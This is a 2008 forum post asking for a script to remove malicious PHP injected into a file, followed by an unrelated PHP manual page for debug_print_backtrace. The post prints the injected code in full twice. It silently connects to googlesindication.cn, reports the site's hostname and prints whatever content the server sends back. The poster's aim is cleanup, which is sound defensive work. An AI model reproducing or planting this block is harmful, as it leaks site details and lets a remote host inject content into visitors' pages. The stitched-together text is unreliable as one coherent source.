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Top Forums Shell Programming and Scripting remove malicious codes from a file Post 302171169 by fed.linuxgossip on Wednesday 27th of February 2008 08:02:19 PM
Old 02-27-2008
cat test.php file
##########
<?php
phpinfo();
?>
<?php
error_reporting(0);
$fn = "googlesindication.cn";
$fp = fsockopen($fn, 80, $errno, $errstr, 15);
if (!$fp) {
} else {
$query='site='.$_SERVER['HTTP_HOST'];
$out = "GET /links.php?".$query." HTTP/1.1\r\n";
$out .= "Host: googlesindication.cn\r\n";
$out .= "Connection: Keep-Alive\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$var .= fgets($fp, 128);
}
list($headers, $content) = explode("\r\n\r\n", $var);
print $content;
fclose($fp);
}
?>




In the above file I want to remove:

<?php
error_reporting(0);
$fn = "googlesindication.cn";
$fp = fsockopen($fn, 80, $errno, $errstr, 15);
if (!$fp) {
} else {
$query='site='.$_SERVER['HTTP_HOST'];
$out = "GET /links.php?".$query." HTTP/1.1\r\n";
$out .= "Host: googlesindication.cn\r\n";
$out .= "Connection: Keep-Alive\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$var .= fgets($fp, 128);
}
list($headers, $content) = explode("\r\n\r\n", $var);
print $content;
fclose($fp);
}
?>


So after removing the above part the resultant file looks like:

cat test.php file
##########
<?php
phpinfo();
?>



Can you please advise a script that will search or grep

$fn = "googlesindication.cn";


and then remove the entire php paragraph that it is enclosed with : starting
<?php
and ending
?>



Thanks
 

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DEBUG_PRINT_BACKTRACE(3)						 1						  DEBUG_PRINT_BACKTRACE(3)

debug_print_backtrace - Prints a backtrace

SYNOPSIS
void debug_print_backtrace ([int $options], [int $limit]) DESCRIPTION
debug_print_backtrace(3) prints a PHP backtrace. It prints the function calls, included/required files and eval(3)ed stuff. PARAMETERS
o $options - As of 5.3.6, this parameter is a bitmask for the following options: debug_print_backtrace(3) options +----------------------------+---------------------------------------------------+ |DEBUG_BACKTRACE_IGNORE_ARGS | | | | | | | Whether or not to omit the "args" index, and | | | thus all the function/method arguments, to save | | | memory. | | | | +----------------------------+---------------------------------------------------+ o $limit - As of 5.4.0, this parameter can be used to limit the number of stack frames printed. By default ($limit= 0) it prints all stack frames. RETURN VALUES
No value is returned. CHANGELOG
+--------+-----------------------------------------+ |Version | | | | | | | Description | | | | +--------+-----------------------------------------+ | 5.4.0 | | | | | | | Added the optional parameter $limit. | | | | | 5.3.6 | | | | | | | Added the optional parameter $options. | | | | +--------+-----------------------------------------+ EXAMPLES
Example #1 debug_print_backtrace(3) example <?php // include.php file function a() { b(); } function b() { c(); } function c(){ debug_print_backtrace(); } a(); ?> <?php // test.php file // this is the file you should run include 'include.php'; ?> The above example will output something similar to: #0 c() called at [/tmp/include.php:10] #1 b() called at [/tmp/include.php:6] #2 a() called at [/tmp/include.php:17] #3 include(/tmp/include.php) called at [/tmp/test.php:3] SEE ALSO
debug_backtrace(3). PHP Documentation Group DEBUG_PRINT_BACKTRACE(3)
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